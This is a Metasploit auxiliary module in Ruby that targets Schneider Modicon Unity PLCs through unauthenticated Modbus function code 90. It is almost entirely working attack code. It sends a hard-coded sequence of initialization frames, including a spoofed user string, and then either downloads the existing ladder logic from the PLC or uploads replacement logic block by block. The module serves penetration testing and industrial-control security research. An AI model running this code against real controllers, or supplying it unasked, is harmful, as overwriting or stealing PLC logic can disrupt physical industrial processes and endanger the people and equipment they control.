require 'msf/core' class Metasploit3 < Msf::Auxiliary include Msf::Exploit::Remote::Tcp include Rex::Socket::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Schneider Modicon Ladder Logic Upload/Download', 'Description' => %q{ The Schneider Modicon with Unity series of PLCs use Modbus function code 90 (0x5a) to send and receive ladder logic. The protocol is unauthenticated, and allows a rogue host to retrieve the existing logic and to upload new logic. Two modes are supported: "SEND" and "RECV," which behave as one might expect -- use 'set mode ACTIONAME' to use either mode of operation. In either mode, FILENAME must be set to a valid path to an existing file (for SENDing) or a new file (for RECVing), and the directory must already exist. The default, 'modicon_ladder.apx' is a blank ladder logic file which can be used for testing. This module is based on the original 'modiconstux.rb' Basecamp module from DigitalBond. }, 'Author' => [ 'K. Reid Wightman ', # original module 'todb' # Metasploit fixups ], 'License' => MSF_LICENSE, 'References' => [ [ 'URL', 'http://www.digitalbond.com/tools/basecamp/metasploit-modules/' ] ], 'Version' => '$Revision$', 'DisclosureDate' => 'Apr 5 2012' )) register_options( [ OptString.new('FILENAME', [ true, "The file to send or receive", File.join(Msf::Config.data_directory, "exploits", "modicon_ladder.apx") ]), OptEnum.new("MODE", [true, 'File transfer operation', "SEND", [ "SEND", "RECV" ] ]), Opt::RPORT(502) ], self.class) end def run unless valid_filename? print_error "FILENAME invalid: #{datastore['FILENAME'].inspect}" return nil end @modbuscounter = 0x0000 # used for modbus frames connect init case datastore['MODE'] when "SEND" writefile when "RECV" readfile end end def valid_filename? if datastore['MODE'] == "SEND" File.readable? datastore['FILENAME'] else File.writable?(File.split(datastore['FILENAME'])[0].to_s) end end # this is used for building a Modbus frame # just prepends the payload with a modbus header def makeframe(packetdata) if packetdata.size > 255 print_error("#{rhost}:#{rport} - MODBUS - Packet too large: #{packetdata.inspect}") return end payload = "" payload += [@modbuscounter].pack("n") payload += "\x00\x00\x00" #dunno what these are payload += [packetdata.size].pack("c") # size byte payload += packetdata end # a wrapper just to be sure we increment the counter def sendframe(payload) sock.put(payload) @modbuscounter += 1 # TODO: Fix with sock.timed_read -- Should make it faster, just need a test. r = sock.recv(65535, 0.1) return r end # This function sends some initialization requests # required for priming the Quantum def init payload = "\x00\x5a\x00\x02" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x01\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x0a\x00" + 'T' * 0xf9 sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x03\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x03\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x01\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x0a\x00" (0..0xf9).each { |x| payload += [x].pack("c") } sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x14\x00\x00\x00\x00\x00\x64\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x14\x00\x64\x00\x00\x00\xf6\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x01\x00\x00\xf6\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x14\x00\x5a\x02\x00\x00\xf6\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x14\x00\x46\x03\x00\x00\xf6\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x14\x00\x3c\x04\x00\x00\xf6\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x14\x00\x32\x05\x00\x00\xf6\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x14\x00\x28\x06\x00\x00\x0c\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x13\x00\x00\x00\x00\x00\x64\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x20\x00\x13\x00\x64\x00\x00\x00\x9c\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x10\x43\x4c\x00\x00\x0f" payload += "USER-714E74F21B" # Yep, really #payload += "META-SPLOITMETA" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x50\x15\x00\x01\x0b" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x50\x15\x00\x01\x07" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x12" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x12" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x02" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x58\x01\x00\x00\x00\x00\xff\xff\x00\x70" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x58\x07\x01\x80\x00\x00\x00\x00\xfb\x00" sendframe(makeframe(payload)) end # Write the contents of local file filename to the target's filenumber # blank logic files will be available on the Digital Bond website def writefile print_status "#{rhost}:#{rport} - MODBUS - Sending write request" blocksize = 244 # bytes per block in file transfer buf = File.open(datastore['FILENAME'], 'rb') { |io| io.read } fullblocks = buf.length / blocksize if fullblocks > 255 print_error("#{rhost}:#{rport} - MODBUS - File too large, aborting.") return end lastblocksize = buf.length - (blocksize*fullblocks) fileblocks = fullblocks if lastblocksize != 0 fileblocks += 1 end filetype = buf[0..2] if filetype == "APX" filenum = "\x01" elsif filetype == "APB" filenum = "\x10" end payload = "\x00\x5a\x00\x03\x01" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x02" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x02" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x04" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x58\x02\x01\x00\x00\x00\x00\x00\xfb\x00" sendframe(makeframe(payload)) payload = "\x00\x5a\x00\x02" sendframe(makeframe(payload)) payload = "\x00\x5a\x01\x30\x00" payload += filenum response = sendframe(makeframe(payload)) if response[8..9] == "\x01\xfe" print_status("#{rhost}:#{rport} - MODBUS - Write request success! Writing file...") else print_error("#{rhost}:#{rport} - MODBUS - Write request error. Aborting.") return end payload = "\x00\x5a\x01\x04" sendframe(makeframe(payload)) block = 1 block2status = 0 # block 2 must always be sent twice while block <= fullblocks payload = "\x00\x5a\x01\x31\x00" payload += filenum payload += [block].pack("c") payload += "\x00\xf4\x00" payload += buf[((block - 1) * 244)..((block * 244) - 1)] res = sendframe(makeframe(payload)) vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}" if res[8..9] != "\x01\xfe" print_error("#{rhost}:#{rport} - MODBUS - Failure writing block #{block}") return end # redo this iteration of the loop if we're on block 2 if block2status == 0 and block == 2 print_status("#{rhost}:#{rport} - MODBUS - Sending block 2 a second time") block2status = 1 redo end block += 1 end if lastblocksize > 0 payload = "\x00\x5a\x01\x31\x00" payload += filenum payload += [block].pack("c") payload += "\x00" + [lastblocksize].pack("c") + "\x00" payload += buf[((block-1) * 244)..(((block-1) * 244) + lastblocksize)] vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{payload.inspect}" res = sendframe(makeframe(payload)) if res[8..9] != "\x01\xfe" print_error("#{rhost}:#{rport} - MODBUS - Failure writing last block") return end end vprint_status "#{rhost}:#{rport} - MODBUS - Closing file" payload = "\x00\x5a\x01\x32\x00\x01" + [fileblocks].pack("c") + "\x00" sendframe(makeframe(payload)) end # Only reading the STL file is supported at the moment :( def readfile print_status "#{rhost}:#{rport} - MODBUS - Sending read request" file = File.open(datastore['FILENAME'], 'wb') payload = "\x00\x5a\x01\x33\x00\x01\xfb\x00" response = sendframe(makeframe(payload)) print_status("#{rhost}:#{rport} - MODBUS - Retrieving file") block = 1 filedata = "" finished = false while !finished payload = "\x00\x5a\x01\x34\x00\x01" payload += [block].pack("c") payload += "\x00" response = sendframe(makeframe(payload)) filedata += response[0xe..-1] vprint_status "#{rhost}:#{rport} - MODBUS - Block #{block}: #{response[0xe..-1].inspect}" if response[0xa] == "\x01" # apparently 0x00 == more data, 0x01 == eof? finished = true else block += 1 end end print_status("#{rhost}:#{rport} - MODBUS - Closing file") payload = "\x00\x5a\x01\x35\x00\x01" + [block].pack("c") + "\x00" sendframe(makeframe(payload)) file.print filedata file.close end def cleanup disconnect rescue nil end end